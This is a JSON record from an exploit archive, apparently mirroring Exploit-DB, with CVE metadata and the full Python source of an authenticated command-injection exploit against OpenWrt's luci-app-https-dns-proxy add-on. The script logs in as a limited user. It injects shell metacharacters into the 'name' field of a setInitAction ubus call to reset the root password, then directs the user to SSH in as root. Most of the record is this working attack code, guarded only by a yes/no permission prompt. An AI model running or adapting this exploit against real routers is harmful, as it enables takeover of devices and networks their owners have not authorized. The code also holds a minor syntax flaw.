{"exploit":{"id":"EDB-52521","name":"OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)","description":"OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)","cves":["CVE-2026-46368"],"author":"Ahmet Mersin","published":"2026-04-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52521","path":"exploits/multiple/webapps/52521.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52521.py","vulnerabilities":[{"id":"CVE-2026-46368","state":"PUBLISHED","title":"luci-app-https-dns-proxy Authenticated Command Injection via setInitAction","titleSource":"CVE Program","description":"luci-app-https-dns-proxy through 2025.12.29-5 — an optional LuCI web UI add-on for the https-dns-proxy package, distributed through the OpenWrt community packages feed and not installed by default — contains a command injection vulnerability in the setInitAction function. An authenticated user holding the luci.https-dns-proxy ACL permission can inject shell metacharacters through the 'name' parameter of a ubus RPC call to luci.https-dns-proxy setInitAction, resulting in arbitrary command execution as root on the underlying device. Core OpenWrt is not affected; only installations that have opted in to the luci-app-https-dns-proxy package are vulnerable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46368","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46368"},"updatedAt":"2026-07-14T21:32:56.384Z","retrievedAt":"2026-11-25T16:31:21.289Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52521.png?v=2","url":"https://exploitbin.com/exploits/EDB-52521","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52521/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52521/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)\n# Date: 2026-01-17\n# Exploit Author: Ahmet Mersin\n# Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy\n# Software Link: https://github.com/stangri/luci-app-https-dns-proxy\n# Version: All versions prior to 2026-01-17\n# Tested on: OpenWrt 23.05\n# CVE : Pending\n\n\"\"\"\nOpenWrt luci-app-https-dns-proxy Root Takeover Exploit\nCVE-202X-XXXXX - Local Privilege Escalation via Command Injection\n\n\nimport requests\nimport sys\nimport getpass\n\ndef banner():\n    print(\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║   OpenWrt https-dns-proxy Root Takeover Exploit               ║\n║   CVE-202X-XXXXX | Privilege Escalation via Command Injection ║\n║                                                               ║\n║   Developed by: ahmetmersin.com                               ║\n╚═══════════════════════════════════════════════════════════════╝\n    \"\"\")\n\ndef get_user_input():\n    print(\"[*] Target Router Information:\")\n    target_ip = input(\"    Router IP [192.168.1.1]: \").strip() or \"192.168.1.1\"\n\n    print(\"\\n[*] Limited User Credentials (user with https-dns-proxy ACL):\")\n    username = input(\"    Username: \").strip()\n    if not username:\n        print(\"[-] Username cannot be empty!\")\n        sys.exit(1)\n    password = getpass.getpass(\"    Password: \")\n    if not password:\n        print(\"[-] Password cannot be empty!\")\n        sys.exit(1)\n\n    print(\"\\n[*] New Root Password:\")\n    new_root_pass = getpass.getpass(\"    Enter new root password: \")\n    if not new_root_pass:\n        print(\"[-] Password cannot be empty!\")\n        sys.exit(1)\n\n    confirm_pass = getpass.getpass(\"    Confirm new root password: \")\n\n    if new_root_pass != confirm_pass:\n        print(\"\\n[-] Passwords do not match!\")\n        sys.exit(1)\n\n    return target_ip, username, password, new_root_pass\n\ndef login(target_ip, username, password):\n    print(f\"\\n[*] Authenticating as '{username}'...\")\n    endpoint = f\"http://{target_ip}/ubus\"\n\n    payload = {\n        \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"call\",\n        \"params\": [\n            \"00000000000000000000000000000000\",\n            \"session\", \"login\",\n            {\"username\": username, \"password\": password}\n        ]\n    }\n\n    try:\n        r = requests.post(endpoint, json=payload, timeout=10)\n        response = r.json()\n\n        if \"result\" in response and response[\"result\"] and len(response[\"result\"]) > 1:\n            result = response[\"result\"][1]\n            if \"ubus_rpc_session\" in result:\n                token = result[\"ubus_rpc_session\"]\n                print(f\"[+] Login successful! Session token: {token[:16]}...\")\n\n                # Check if user has the vulnerable permission\n                acls = result.get(\"acls\", {}).get(\"ubus\", {})\n                if \"luci.https-dns-proxy\" in acls:\n                    if \"setInitAction\" in acls[\"luci.https-dns-proxy\"]:\n                        print(f\"[+] User has access to vulnerable function!\")\n                        return token, endpoint\n\n                print(\"[-] User does not have 'setInitAction' permission!\")\n                return None, None\n\n        print(f\"[-] Login failed: {response}\")\n        return None, None\n\n    except requests.exceptions.ConnectionError:\n        print(f\"[-] Connection error: Cannot reach {target_ip}\")\n        return None, None\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n        return None, None\n\ndef change_root_password(endpoint, session_id, new_password):\n    print(f\"\\n[*] Changing root password...\")\n\n    # Payload: Use passwd with printf to change root password\n    malicious_name = f\"x; printf '{new_password}\\\\n{new_password}\\\\n' | passwd root; echo done >\"\n\n    payload = {\n        \"jsonrpc\": \"2.0\", \"id\": 666, \"method\": \"call\",\n        \"params\": [\n            session_id,\n            \"luci.https-dns-proxy\",\n            \"setInitAction\",\n            {\"name\": malicious_name, \"action\": \"start\"}\n        ]\n    }\n\n    try:\n        r = requests.post(endpoint, json=payload, timeout=10)\n        response = r.json()\n\n        print(f\"[*] Response: {response}\")\n\n        # Check if result is True (command executed successfully)\n        if \"result\" in response and len(response[\"result\"]) > 1:\n            result_data = response[\"result\"][1]\n            if isinstance(result_data, dict) and result_data.get(\"result\") == True:\n                print(f\"\\n\" + \"=\"*60)\n                print(f\"[+] EXPLOIT SUCCESSFUL!\")\n                print(f\"=\"*60)\n                ip = endpoint.split('//')[1].split('/')[0]\n                print(f\"\\n[*] You can now login with the new root password:\")\n                print(f\"    ssh root@{ip}\")\n                print(f\"    Password: <your new password>\")\n                return True\n            else:\n                print(f\"\\n\" + \"=\"*60)\n                print(f\"[-] EXPLOIT FAILED - Command was blocked!\")\n                print(f\"=\"*60)\n                print(f\"\\n[!] The target may have been patched.\")\n                return False\n        else:\n            print(f\"[-] Unexpected response format\")\n            return False\n\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n        return False\n\ndef main():\n    banner()\n\n    print(\"[!] WARNING: This tool is for authorized security testing only!\")\n    print(\"[!] Unauthorized access to computer systems is illegal.\\n\")\n\n    confirm = input(\"Do you have permission to test this target? [y/N]: \").strip().lower()\n    if confirm != 'y':\n        print(\"Aborted.\")\n        sys.exit(0)\n\n    target_ip, username, password, new_root_pass = get_user_input()\n\n    session_id, endpoint = login(target_ip, username, password)\n\n    if session_id:\n        success = change_root_password(endpoint, session_id, new_root_pass)\n        if success:\n            print(\"\\n[+] Exploit completed! Test SSH access with the new password.\")\n    else:\n        print(\"\\n[-] Authentication failed. Exploit aborted.\")\n        sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()","sha256":"03c29b53e9912fb2c564e1545846c664153f4a644265d9c8b9aa902e79004ca0","bytes":6282,"fetchedAt":"2026-11-26T11:17:10.391Z","encoding":"utf-8 (display only; download retains original bytes)"}